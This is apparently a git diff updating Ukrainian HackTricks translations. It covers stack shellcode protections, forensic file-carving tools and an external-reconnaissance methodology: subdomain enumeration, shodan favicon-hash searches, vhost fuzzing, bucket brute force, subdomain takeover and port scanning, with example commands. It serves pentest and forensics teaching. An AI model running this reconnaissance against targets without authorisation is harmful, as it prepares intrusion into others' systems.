- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **захист** стеку запобігатиме виконанню shellcode всередині стеку, оскільки цей регіон не буде виконуваним.
|
||||
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **повинен бути вимкнений** для того, щоб адреса була надійною під час виконання, інакше адреса, де буде зберігатися функція, не завжди буде однаковою, і вам знадобиться якийсь leak, щоб зрозуміти, де завантажена функція win.
|
||||
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) також повинні бути вимкнені, інакше скомпрометована адреса повернення EIP ніколи не буде виконана.
|
||||
- Захист **NX** (недоступний для виконання) [**stack**](../../common-binary-protections-and-bypasses/no-exec-nx.md) завадить виконанню shellcode всередині стеку, оскільки цей регіон не буде виконуваним.
|
||||
|
||||
## Інші приклади та посилання
|
||||
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
|
||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
|
||||
- 64bit, ASLR з leak адреси стеку, записати shellcode і перейти до нього
|
||||
- 64 біт, ASLR з leak адреси стеку, записати shellcode і перейти до нього
|
||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
|
||||
- 32 bit, ASLR з leak стеку, записати shellcode і перейти до нього
|
||||
- 32 біт, ASLR з leak стеку, записати shellcode і перейти до нього
|
||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
|
||||
- 32 bit, ASLR з leak стеку, порівняння для запобігання виклику exit(), перезаписати змінну значенням і записати shellcode і перейти до нього
|
||||
- 32 біт, ASLR з leak стеку, порівняння для запобігання виклику exit(), перезаписати змінну значенням і записати shellcode і перейти до нього
|
||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
|
||||
- arm64, без ASLR, ROP гаджет для зроблення стеку виконуваним і перехід до shellcode в стеку
|
||||
- arm64, без ASLR, ROP gadget для зробити стек виконуваним і перейти до shellcode в стеку
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -1,8 +1,8 @@
|
||||
# Файлове/Дані Карвінг та Інструменти Відновлення
|
||||
# File/Data Carving & Recovery Tools
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Інструменти Карвінгу та Відновлення
|
||||
## Carving & Recovery tools
|
||||
|
||||
Більше інструментів на [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
|
||||
|
||||
@ -23,7 +23,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
|
||||
```
|
||||
### Foremost
|
||||
|
||||
Ще один поширений інструмент для знаходження прихованих файлів - це **foremost**. Ви можете знайти файл конфігурації foremost у `/etc/foremost.conf`. Якщо ви хочете шукати лише деякі конкретні файли, зніміть коментарі з них. Якщо ви нічого не знімете, foremost буде шукати за типовими файлами, які налаштовані за замовчуванням.
|
||||
Ще один поширений інструмент для знаходження прихованих файлів - це **foremost**. Ви можете знайти файл конфігурації foremost у `/etc/foremost.conf`. Якщо ви хочете шукати лише деякі конкретні файли, зніміть коментар з них. Якщо ви нічого не знімете, foremost буде шукати файли за замовчуванням.
|
||||
```bash
|
||||
sudo apt-get install foremost
|
||||
foremost -v -i file.img -o output
|
||||
@ -31,20 +31,20 @@ foremost -v -i file.img -o output
|
||||
```
|
||||
### **Scalpel**
|
||||
|
||||
**Scalpel** - це ще один інструмент, який можна використовувати для знаходження та вилучення **файлів, вбудованих у файл**. У цьому випадку вам потрібно буде зняти коментарі з файлів конфігурації (_/etc/scalpel/scalpel.conf_) для типів файлів, які ви хочете вилучити.
|
||||
**Scalpel** - це ще один інструмент, який можна використовувати для знаходження та вилучення **файлів, вбудованих у файл**. У цьому випадку вам потрібно буде зняти коментарі з файлів типів у конфігураційному файлі (_/etc/scalpel/scalpel.conf_), які ви хочете, щоб він вилучив.
|
||||
```bash
|
||||
sudo apt-get install scalpel
|
||||
scalpel file.img -o output
|
||||
```
|
||||
### Bulk Extractor
|
||||
|
||||
Цей інструмент входить до складу Kali, але ви можете знайти його тут: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
|
||||
Цей інструмент входить до складу kali, але ви можете знайти його тут: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
|
||||
|
||||
Цей інструмент може сканувати зображення і **витягувати pcaps** всередині нього, **мережеву інформацію (URL, домени, IP, MAC, електронні листи)** та інші **файли**. Вам потрібно лише зробити:
|
||||
Цей інструмент може сканувати зображення і **витягувати pcaps** всередині нього, **мережеву інформацію (URL, домени, IP, MAC, електронні листи)** та інші **файли**. Вам потрібно лише:
|
||||
```
|
||||
bulk_extractor memory.img -o out_folder
|
||||
```
|
||||
Перегляньте **всю інформацію**, яку зібрав інструмент (паролі?), **проаналізуйте** **пакети** (читайте [**аналіз Pcaps**](../pcap-inspection/)), шукайте **незвичайні домени** (домени, пов'язані з **шкідливим ПЗ** або **неіснуючі**).
|
||||
Перегляньте **всю інформацію**, яку зібрав інструмент (паролі?), **проаналізуйте** **пакети** (читайте [**аналіз Pcaps**](../pcap-inspection/index.html)), шукайте **дивні домени** (домени, пов'язані з **шкідливим ПЗ** або **неіснуючі**).
|
||||
|
||||
### PhotoRec
|
||||
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Autopsy
|
||||
|
||||
Найбільш поширений інструмент, що використовується в судовій експертизі для витягування файлів з образів, це [**Autopsy**](https://www.autopsy.com/download/). Завантажте його, встановіть і дайте йому обробити файл, щоб знайти "сховані" файли. Зверніть увагу, що Autopsy створено для підтримки образів дисків та інших видів образів, але не простих файлів.
|
||||
Найбільш поширений інструмент, що використовується в судовій експертизі для витягування файлів з образів, це [**Autopsy**](https://www.autopsy.com/download/). Завантажте його, встановіть і змусьте його обробити файл, щоб знайти "сховані" файли. Зверніть увагу, що Autopsy створено для підтримки образів дисків та інших видів образів, але не простих файлів.
|
||||
|
||||
## Binwalk <a id="binwalk"></a>
|
||||
|
||||
@ -18,7 +18,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
|
||||
```
|
||||
## Foremost
|
||||
|
||||
Ще один поширений інструмент для знаходження прихованих файлів - це **foremost**. Ви можете знайти файл конфігурації foremost у `/etc/foremost.conf`. Якщо ви хочете шукати лише деякі конкретні файли, зніміть коментар з них. Якщо ви нічого не знімете, foremost буде шукати файли за замовчуванням.
|
||||
Ще один поширений інструмент для знаходження прихованих файлів - це **foremost**. Ви можете знайти файл конфігурації foremost у `/etc/foremost.conf`. Якщо ви хочете шукати лише деякі конкретні файли, зніміть коментар з них. Якщо ви нічого не знімете, foremost шукатиме за типовими налаштованими типами файлів.
|
||||
```bash
|
||||
sudo apt-get install foremost
|
||||
foremost -v -i file.img -o output
|
||||
@ -35,15 +35,15 @@ scalpel file.img -o output
|
||||
|
||||
Цей інструмент входить до складу kali, але ви можете знайти його тут: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
|
||||
|
||||
Цей інструмент може сканувати зображення і **витягувати pcaps** всередині нього, **мережеву інформацію (URL, домени, IP, MAC, електронні листи)** та інші **файли**. Вам потрібно лише зробити:
|
||||
Цей інструмент може сканувати зображення і **витягувати pcaps** всередині нього, **мережеву інформацію (URLs, домени, IP, MAC, електронні листи)** та інші **файли**. Вам потрібно лише зробити:
|
||||
```text
|
||||
bulk_extractor memory.img -o out_folder
|
||||
```
|
||||
Перегляньте **всю інформацію**, яку зібрав інструмент \(паролі?\), **проаналізуйте** **пакети** \(читайте [ **аналіз Pcaps**](../pcap-inspection/)\), шукайте **незвичайні домени** \(домени, пов'язані з **шкідливим ПЗ** або **неіснуючі**\).
|
||||
Перегляньте **всю інформацію**, яку зібрав інструмент \(паролі?\), **проаналізуйте** **пакети** \(читайте [ **аналіз Pcaps**](../pcap-inspection/index.html)\), шукайте **дивні домени** \(домени, пов'язані з **шкідливим ПЗ** або **неіснуючі**\).
|
||||
|
||||
## PhotoRec
|
||||
|
||||
Ви можете знайти його за [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)
|
||||
Ви можете знайти його на [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)
|
||||
|
||||
Він постачається з версією GUI та CLI. Ви можете вибрати **типи файлів**, які хочете, щоб PhotoRec шукав.
|
||||
|
||||
|
@ -1,8 +1,8 @@
|
||||
# Файлове/Дані Карвінг та Інструменти Відновлення
|
||||
# File/Data Carving & Recovery Tools
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Інструменти Карвінгу та Відновлення
|
||||
## Carving & Recovery tools
|
||||
|
||||
Більше інструментів на [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
|
||||
|
||||
@ -23,7 +23,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
|
||||
```
|
||||
### Foremost
|
||||
|
||||
Ще один поширений інструмент для знаходження прихованих файлів - це **foremost**. Ви можете знайти файл конфігурації foremost у `/etc/foremost.conf`. Якщо ви хочете шукати лише деякі конкретні файли, зніміть коментарі з них. Якщо ви нічого не знімете, foremost буде шукати файли за замовчуванням.
|
||||
Ще один поширений інструмент для знаходження прихованих файлів - це **foremost**. Ви можете знайти файл конфігурації foremost у `/etc/foremost.conf`. Якщо ви хочете шукати лише деякі конкретні файли, зніміть коментар з них. Якщо ви нічого не знімете, foremost буде шукати файли за замовчуванням.
|
||||
```bash
|
||||
sudo apt-get install foremost
|
||||
foremost -v -i file.img -o output
|
||||
@ -31,7 +31,7 @@ foremost -v -i file.img -o output
|
||||
```
|
||||
### **Scalpel**
|
||||
|
||||
**Scalpel** - це ще один інструмент, який можна використовувати для знаходження та вилучення **файлів, вбудованих у файл**. У цьому випадку вам потрібно буде зняти коментарі з конфігураційного файлу (_/etc/scalpel/scalpel.conf_) для типів файлів, які ви хочете вилучити.
|
||||
**Scalpel** - це ще один інструмент, який можна використовувати для знаходження та вилучення **файлів, вбудованих у файл**. У цьому випадку вам потрібно буде зняти коментарі з файлів конфігурації (_/etc/scalpel/scalpel.conf_), типи файлів, які ви хочете, щоб він вилучив.
|
||||
```bash
|
||||
sudo apt-get install scalpel
|
||||
scalpel file.img -o output
|
||||
@ -44,7 +44,7 @@ scalpel file.img -o output
|
||||
```
|
||||
bulk_extractor memory.img -o out_folder
|
||||
```
|
||||
Перегляньте **всю інформацію**, яку зібрав інструмент (паролі?), **проаналізуйте** **пакети** (читайте [**аналіз Pcaps**](../pcap-inspection/)), шукайте **незвичайні домени** (домени, пов'язані з **шкідливим ПЗ** або **неіснуючі**).
|
||||
Перегляньте **всю інформацію**, яку зібрав інструмент (паролі?), **проаналізуйте** **пакети** (читайте[ **аналіз Pcaps**](../pcap-inspection/index.html)), шукайте **незвичайні домени** (домени, пов'язані з **шкідливим ПЗ** або **неіснуючими**).
|
||||
|
||||
### PhotoRec
|
||||
|
||||
@ -75,13 +75,13 @@ BinVis є чудовою **відправною точкою для ознайо
|
||||
|
||||
### FindAES
|
||||
|
||||
Шукає ключі AES, досліджуючи їх графіки ключів. Може знаходити 128, 192 та 256 бітні ключі, такі як ті, що використовуються TrueCrypt та BitLocker.
|
||||
Шукає ключі AES, досліджуючи їх графіки ключів. Може знаходити ключі 128, 192 та 256 біт, такі як ті, що використовуються TrueCrypt та BitLocker.
|
||||
|
||||
Завантажте [тут](https://sourceforge.net/projects/findaes/).
|
||||
|
||||
## Додаткові інструменти
|
||||
|
||||
Ви можете використовувати [**viu**](https://github.com/atanunq/viu), щоб переглядати зображення з терміналу.\
|
||||
Ви можете використовувати [**viu** ](https://github.com/atanunq/viu), щоб переглядати зображення з терміналу.\
|
||||
Ви можете використовувати командний рядок linux **pdftotext**, щоб перетворити pdf у текст і прочитати його.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -54,7 +54,7 @@ bbot -t tesla.com -f subdomain-enum
|
||||
Ви можете знайти IP-діапазони організації також за допомогою [http://asnlookup.com/](http://asnlookup.com) (він має безкоштовний API).\
|
||||
Ви можете знайти IP та ASN домену, використовуючи [http://ipv4info.com/](http://ipv4info.com).
|
||||
|
||||
### **Шукання вразливостей**
|
||||
### **Пошук вразливостей**
|
||||
|
||||
На цьому етапі ми знаємо **всі активи в межах обсягу**, тому, якщо вам дозволено, ви можете запустити деякі **сканери вразливостей** (Nessus, OpenVAS) на всіх хостах.\
|
||||
Також ви можете запустити деякі [**сканування портів**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **або використовувати сервіси, такі як** shodan **для знаходження** відкритих портів **і в залежності від того, що ви знайдете, вам слід** ознайомитися з цією книгою, щоб дізнатися, як провести пентест кількох можливих сервісів.\
|
||||
@ -82,7 +82,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
|
||||
|
||||
### **Зворотний Whois (loop)**
|
||||
|
||||
У **whois** ви можете знайти багато цікавої **інформації**, такої як **назва організації**, **адреса**, **електронні адреси**, номери телефонів... Але ще більш цікаво, що ви можете знайти **більше активів, пов'язаних з компанією**, якщо ви виконаєте **зворотні whois запити за будь-яким з цих полів** (наприклад, інші реєстрації whois, де з'являється та ж електронна адреса).\
|
||||
У **whois** ви можете знайти багато цікавої **інформації**, такої як **назва організації**, **адреса**, **електронні адреси**, номери телефонів... Але ще більш цікаво, що ви можете знайти **більше активів, пов'язаних з компанією**, якщо ви виконаєте **зворотні whois запити за будь-яким з цих полів** (наприклад, інші реєстрації whois, де з'являється та сама електронна адреса).\
|
||||
Ви можете використовувати онлайн-інструменти, такі як:
|
||||
|
||||
- [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Безкоштовно**
|
||||
@ -100,7 +100,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
|
||||
|
||||
### **Трекери**
|
||||
|
||||
Якщо ви знайдете **той самий ID того ж трекера** на 2 різних сторінках, ви можете припустити, що **обидві сторінки** управляються **однією командою**.\
|
||||
Якщо ви знайдете **той самий ID того самого трекера** на 2 різних сторінках, ви можете припустити, що **обидві сторінки** управляються **однією командою**.\
|
||||
Наприклад, якщо ви бачите той самий **ID Google Analytics** або той самий **ID Adsense** на кількох сторінках.
|
||||
|
||||
Є кілька сторінок і інструментів, які дозволяють вам шукати за цими трекерами та іншими:
|
||||
@ -122,7 +122,7 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
||||
|
||||
Простими словами, favihash дозволить нам виявити домени, які мають однаковий хеш значка фавікону, як у нашої цілі.
|
||||
|
||||
Більше того, ви також можете шукати технології, використовуючи хеш фавікону, як пояснено в [**цьому блозі**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Це означає, що якщо ви знаєте **хеш фавікону вразливої версії веб-технології**, ви можете шукати в shodan і **знайти більше вразливих місць**:
|
||||
Більше того, ви також можете шукати технології, використовуючи хеш фавікону, як пояснено в [**цьому блозі**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Це означає, що якщо ви знаєте **хеш значка фавікону вразливої версії веб-технології**, ви можете шукати в shodan і **знайти більше вразливих місць**:
|
||||
```bash
|
||||
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
|
||||
```
|
||||
@ -151,7 +151,7 @@ return fhash
|
||||
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
|
||||
```
|
||||
щоб оновити всі сертифікати доменів на сервері. Це означає, що навіть якщо CA, що використовується для цього, не встановлює час, коли він був згенерований, у часі дії, можливо **знайти домени, що належать одній компанії, у журналах прозорості сертифікатів**.\
|
||||
Перегляньте цей [**звіт для отримання додаткової інформації**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
|
||||
Перегляньте цей [**опис для отримання додаткової інформації**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
|
||||
|
||||
### Інформація про Mail DMARC
|
||||
|
||||
@ -159,9 +159,9 @@ return fhash
|
||||
|
||||
### **Пасивне захоплення**
|
||||
|
||||
Здається, що звичайно люди призначають піддомени IP-адресам, які належать постачальникам хмарних послуг, і в якийсь момент **втрачають цю IP-адресу, але забувають видалити DNS-запис**. Тому, просто **запустивши VM** у хмарі (такій як Digital Ocean), ви фактично **захоплюєте деякі піддомени**.
|
||||
Очевидно, що поширеною практикою є призначення піддоменів IP-адресам, які належать постачальникам хмарних послуг, і в якийсь момент **втратити цю IP-адресу, але забути видалити DNS-запис**. Тому, просто **створивши віртуальну машину** у хмарі (такій як Digital Ocean), ви фактично **захоплюєте деякі піддомени**.
|
||||
|
||||
[**Цей пост**](https://kmsec.uk/blog/passive-takeover/) пояснює історію про це і пропонує скрипт, який **запускає VM у DigitalOcean**, **отримує** **IPv4** нової машини і **шукає у Virustotal записи піддоменів**, що вказують на неї.
|
||||
[**Цей пост**](https://kmsec.uk/blog/passive-takeover/) пояснює історію про це і пропонує скрипт, який **створює віртуальну машину в DigitalOcean**, **отримує** **IPv4** нової машини і **шукає в Virustotal записи піддоменів**, що вказують на неї.
|
||||
|
||||
### **Інші способи**
|
||||
|
||||
@ -171,7 +171,7 @@ return fhash
|
||||
|
||||
Як ви вже знаєте, назву організації, що володіє IP-простором. Ви можете шукати за цими даними в Shodan, використовуючи: `org:"Tesla, Inc."` Перевірте знайдені хости на наявність нових несподіваних доменів у сертифікаті TLS.
|
||||
|
||||
Ви можете отримати **TLS сертифікат** головної веб-сторінки, отримати **назву організації** і потім шукати цю назву у **TLS сертифікатах** всіх веб-сторінок, відомих **shodan**, з фільтром: `ssl:"Tesla Motors"` або використати інструмент, такий як [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
|
||||
Ви можете отримати **TLS сертифікат** головної веб-сторінки, отримати **назву організації** і потім шукати цю назву в **TLS сертифікатах** всіх веб-сторінок, відомих **shodan**, з фільтром: `ssl:"Tesla Motors"` або використати інструмент, такий як [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
|
||||
|
||||
**Assetfinder**
|
||||
|
||||
@ -179,19 +179,19 @@ return fhash
|
||||
|
||||
### **Шукання вразливостей**
|
||||
|
||||
Перевірте на наявність [захоплення домену](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Можливо, якась компанія **використовує якийсь домен**, але вони **втратили право власності**. Просто зареєструйте його (якщо достатньо дешевий) і дайте знати компанії.
|
||||
Перевірте наявність [захоплення домену](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Можливо, якась компанія **використовує якийсь домен**, але **втратила право власності**. Просто зареєструйте його (якщо достатньо дешевий) і дайте знати компанії.
|
||||
|
||||
Якщо ви знайдете будь-який **домен з IP, відмінним** від тих, які ви вже знайшли під час виявлення активів, вам слід виконати **базове сканування вразливостей** (використовуючи Nessus або OpenVAS) і деяке [**сканування портів**](../pentesting-network/index.html#discovering-hosts-from-the-outside) з **nmap/masscan/shodan**. Залежно від того, які сервіси працюють, ви можете знайти в **цьому посібнику деякі трюки для "атаки" на них**.\
|
||||
&#xNAN;_Note, що іноді домен розміщений на IP, який не контролюється клієнтом, тому він не входить до сфери, будьте обережні._
|
||||
Якщо ви знайдете будь-який **домен з IP, відмінним** від тих, які ви вже знайшли під час виявлення активів, вам слід виконати **базове сканування вразливостей** (використовуючи Nessus або OpenVAS) і деяке [**сканування портів**](../pentesting-network/index.html#discovering-hosts-from-the-outside) з **nmap/masscan/shodan**. Залежно від того, які сервіси працюють, ви можете знайти в **цьому посібнику деякі хитрощі для "атаки" на них**.\
|
||||
&#xNAN;_Note, що іноді домен розміщений на IP, який не контролюється клієнтом, тому він не входить до сфери дії, будьте обережні._
|
||||
|
||||
## Піддомени
|
||||
|
||||
> Ми знаємо всі компанії в межах сфери, всі активи кожної компанії та всі домени, пов'язані з компаніями.
|
||||
> Ми знаємо всі компанії в межах сфери дії, всі активи кожної компанії та всі домени, пов'язані з компаніями.
|
||||
|
||||
Час знайти всі можливі піддомени кожного знайденого домену.
|
||||
|
||||
> [!TIP]
|
||||
> Зверніть увагу, що деякі інструменти та техніки для знаходження доменів також можуть допомогти знайти піддомени.
|
||||
> Зверніть увагу, що деякі інструменти та техніки для пошуку доменів також можуть допомогти знайти піддомени.
|
||||
|
||||
### **DNS**
|
||||
|
||||
@ -201,7 +201,7 @@ dnsrecon -a -d tesla.com
|
||||
```
|
||||
### **OSINT**
|
||||
|
||||
Найшвидший спосіб отримати багато піддоменів - це пошук в зовнішніх джерелах. Найбільш використовувані **tools** це наступні (для кращих результатів налаштуйте API ключі):
|
||||
Найшвидший спосіб отримати багато піддоменів - це пошук у зовнішніх джерелах. Найбільш використовувані **інструменти** такі (для кращих результатів налаштуйте API ключі):
|
||||
|
||||
- [**BBOT**](https://github.com/blacklanternsecurity/bbot)
|
||||
```bash
|
||||
@ -389,7 +389,7 @@ cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
|
||||
|
||||
#### Генерація розумних перестановок
|
||||
|
||||
- [**regulator**](https://github.com/cramppet/regulator): Для отримання додаткової інформації прочитайте цей [**пост**](https://cramppet.github.io/regulator/index.html), але він в основному отримає **основні частини** з **виявлених піддоменів** і змішає їх, щоб знайти більше піддоменів.
|
||||
- [**regulator**](https://github.com/cramppet/regulator): Для отримання додаткової інформації прочитайте цей [**пост**](https://cramppet.github.io/regulator/index.html), але в основному він отримає **основні частини** з **виявлених піддоменів** і змішає їх, щоб знайти більше піддоменів.
|
||||
```bash
|
||||
python3 main.py adobe.com adobe adobe.rules
|
||||
make_brute_list.sh adobe.rules adobe.brute
|
||||
@ -413,7 +413,7 @@ https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/
|
||||
|
||||
### **VHosts / Віртуальні хости**
|
||||
|
||||
Якщо ви знайшли IP-адресу, що містить **одну або кілька веб-сторінок**, що належать піддоменам, ви можете спробувати **знайти інші піддомени з веб-сайтами на цьому IP**, шукаючи в **OSINT джерелах** домени на IP або **брутфорсити доменні імена VHost на цьому IP**.
|
||||
Якщо ви знайшли IP-адресу, що містить **одну або кілька веб-сторінок**, що належать піддоменам, ви можете спробувати **знайти інші піддомени з веб-сайтами на цій IP**-адресі, шукаючи в **OSINT джерелах** домени на IP або **брутфорсити доменні імена VHost на цій IP**.
|
||||
|
||||
#### OSINT
|
||||
|
||||
@ -444,26 +444,26 @@ VHostScan -t example.com
|
||||
```bash
|
||||
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
|
||||
```
|
||||
### **Buckets Brute Force**
|
||||
### **Брутфорс Бакетів**
|
||||
|
||||
Під час пошуку **субдоменів** звертайте увагу, чи вказують вони на будь-який тип **бакету**, і в такому випадку [**перевірте дозволи**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
|
||||
Також, оскільки на цьому етапі ви будете знати всі домени в межах обсягу, спробуйте [**зламати можливі імена бакетів і перевірити дозволи**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
Під час пошуку **субдоменів** звертайте увагу, чи вказують вони на будь-який тип **бакету**, і в такому випадку [**перевірте дозволи**](../../network-services-pentesting/pentesting-web/buckets/index.html)**.**\
|
||||
Також, оскільки на цьому етапі ви будете знати всі домени в межах обсягу, спробуйте [**брутфорсити можливі імена бакетів і перевірити дозволи**](../../network-services-pentesting/pentesting-web/buckets/index.html).
|
||||
|
||||
### **Моніторинг**
|
||||
|
||||
Ви можете **моніторити**, чи створюються **нові субдомени** домену, моніторячи **журнали прозорості сертифікатів** [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py).
|
||||
Ви можете **моніторити**, якщо **нові субдомени** домену створюються, моніторячи **Журнали Прозорості Сертифікатів**, що робить [**sublert**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py).
|
||||
|
||||
### **Пошук вразливостей**
|
||||
|
||||
Перевірте на можливі [**взяття субдоменів під контроль**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
|
||||
Якщо **субдомен** вказує на якийсь **S3 бакет**, [**перевірте дозволи**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
Якщо **субдомен** вказує на якийсь **S3 бакет**, [**перевірте дозволи**](../../network-services-pentesting/pentesting-web/buckets/index.html).
|
||||
|
||||
Якщо ви знайдете будь-який **субдомен з IP, відмінним** від тих, що ви вже знайшли під час виявлення активів, вам слід виконати **базове сканування вразливостей** (використовуючи Nessus або OpenVAS) і деяке [**сканування портів**](../pentesting-network/index.html#discovering-hosts-from-the-outside) з **nmap/masscan/shodan**. Залежно від того, які сервіси працюють, ви можете знайти в **цьому посібнику деякі трюки для "атаки" на них**.\
|
||||
&#xNAN;_Note, що іноді субдомен розміщений на IP, який не контролюється клієнтом, тому він не входить в обсяг, будьте обережні._
|
||||
|
||||
## IPs
|
||||
## IP-адреси
|
||||
|
||||
На початкових етапах ви, можливо, **знайшли деякі діапазони IP, домени та субдомени**.\
|
||||
На початкових етапах ви могли **знайти деякі діапазони IP, домени та субдомени**.\
|
||||
Час **зібрати всі IP з цих діапазонів** та для **доменів/субдоменів (DNS запити).**
|
||||
|
||||
Використовуючи сервіси з наступних **безкоштовних API**, ви також можете знайти **попередні IP, які використовувалися доменами та субдоменами**. Ці IP можуть все ще належати клієнту (і можуть дозволити вам знайти [**обхідні шляхи CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
|
||||
@ -476,13 +476,13 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
|
||||
|
||||
**Скануйте порти всіх IP, які не належать CDN** (оскільки ви, ймовірно, не знайдете нічого цікавого там). У виявлених запущених сервісах ви можете **знайти вразливості**.
|
||||
|
||||
**Знайдіть** [**посібник**](../pentesting-network/) **про те, як сканувати хости.**
|
||||
**Знайдіть** [**посібник**](../pentesting-network/index.html) **про те, як сканувати хости.**
|
||||
|
||||
## Полювання на веб-сервери
|
||||
|
||||
> Ми знайшли всі компанії та їх активи, і ми знаємо діапазони IP, домени та субдомени в межах обсягу. Час шукати веб-сервери.
|
||||
|
||||
На попередніх етапах ви, ймовірно, вже виконали деяке **розвідку виявлених IP та доменів**, тому ви, можливо, **вже знайшли всі можливі веб-сервери**. Однак, якщо ви цього не зробили, ми зараз розглянемо деякі **швидкі трюки для пошуку веб-серверів** в межах обсягу.
|
||||
На попередніх етапах ви, ймовірно, вже виконали деяке **розвідку виявлених IP та доменів**, тому ви могли **вже знайти всі можливі веб-сервери**. Однак, якщо ви цього не зробили, ми зараз розглянемо деякі **швидкі трюки для пошуку веб-серверів** в межах обсягу.
|
||||
|
||||
Зверніть увагу, що це буде **орієнтовано на виявлення веб-додатків**, тому вам слід **виконати сканування вразливостей** та **сканування портів** також (**якщо дозволено** обсягом).
|
||||
|
||||
@ -494,7 +494,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
||||
```
|
||||
### **Скриншоти**
|
||||
|
||||
Тепер, коли ви виявили **всі веб-сервери**, що входять до сфери (серед **IP-адрес** компанії та всіх **доменів** і **піддоменів**), ви, напевно, **не знаєте, з чого почати**. Тож давайте спростимо і просто почнемо робити скриншоти всіх з них. Просто **подивившись** на **головну сторінку**, ви можете знайти **незвичайні** кінцеві точки, які більш **схильні** до **вразливостей**.
|
||||
Тепер, коли ви виявили **всі веб-сервери**, що входять до сфери (серед **IP** компанії та всіх **доменів** і **піддоменів**), ви, напевно, **не знаєте, з чого почати**. Тож давайте спростимо і почнемо просто з того, щоб зробити скриншоти всіх з них. Просто **подивившись** на **головну сторінку**, ви можете знайти **незвичайні** кінцеві точки, які більш **схильні** до **вразливостей**.
|
||||
|
||||
Для реалізації запропонованої ідеї ви можете використовувати [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) або [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
|
||||
|
||||
@ -510,7 +510,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
||||
- [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
|
||||
- [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
|
||||
|
||||
Потім, з цими словами, ви повинні згенерувати **пермутації** (перевірте [**Другий раунд DNS брутфорсу**](#second-dns-bruteforce-round) для отримання додаткової інформації).
|
||||
Потім, з цими словами, ви повинні згенерувати **пермутації** (перевірте [**Другий раунд DNS Brute-Force**](#second-dns-bruteforce-round) для отримання додаткової інформації).
|
||||
|
||||
